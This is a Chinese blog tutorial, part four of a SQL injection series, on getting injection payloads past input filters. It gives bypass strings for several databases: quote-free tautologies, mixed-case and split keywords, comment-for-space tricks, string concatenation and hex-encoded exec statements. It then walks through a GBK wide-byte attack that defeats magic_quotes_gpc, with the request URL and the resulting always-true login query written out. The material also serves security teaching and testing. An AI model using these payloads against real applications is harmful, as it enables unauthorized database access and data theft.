sql注入解析(四)避开过滤

web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。
1、 不使用被过滤的字符: 比如注入一个数字数据,就不需要使用单引号;’ or 1=1–,如果注释字符被过滤,我们可以这样写 ‘ or ‘1’=’1 。
2、 避免使用简单确认: 如果select关键字被过滤,我们可以尝试用下面的方法书写select,SeleCT; selselectect;或者使用URLencode,ascii编码,%53%45%4c%45%43%54(ascii).
3、 使用sql注释绕过: 如果空格被过滤了,我们可以使用sql语言的注释。select/**/username,password/**/from/**/user–, mysql中甚至可以这样 sele/**/ct username fr/**/om user–.
4、 替换被阻止的字符串: 要表示admin,oracle中可以用 ‘adm’||’in’ ,  mysql中可以用 concat(‘adm’,’in’); mssql中可以用:’adm’+’in’.
数据库语法中有很多字符串操作函数,可以用来创建被过滤的字符串。Oracle中包含,CHR(ascii码转化)、REVERSE(字符串反转),TRANSLATE(高级的字符串替换),REPLACE,SUBSTR函数。
mssql数据库可以使用 exec(‘select * from user’), 这条命令可以变形为 exec(‘sele’+’ct * from user) ,还可以建立一个十六进制的编码的字符串,通过exec来执行,从而避开某些关键字甚至是单引号的过滤。如:declear @q varchar(5000); select @q=0x73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外如果网站是gbk编码的,也可以利用汉字的编码避开注入:
在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义’,使很多注入攻击无效,
GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号对应的编码0×5C。
0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。
下面分析攻击过程:
访问 http://localhost/test.php?username=test%d5′%20or%201=1%23&pwd=test
经过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
经过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27被转义成’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username=’test诚’ or 1=1;
条件变成永真,成功注入。
补充:
0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以;
根据utf8的编码范围,无此问题;
这种变换在xss等领域也可以应用,假如服务端是GBK编码格式。
摘自:http://dzxx.sinaapp.com/archives/34/
本文是由youthflies发表在易踪网(yeetrack.com)上的原创文章,原文地址为:https://www.yeetrack.com/?p=65

sql注入解析(一)基本语法

 

sql注入解析(二)执行注入

 

sql注入解析(三)数据库类型

 

sql注入解析(四)避开过滤

发表评论

邮箱地址不会被公开。 必填项已用*标注

(Spamcheck Enabled)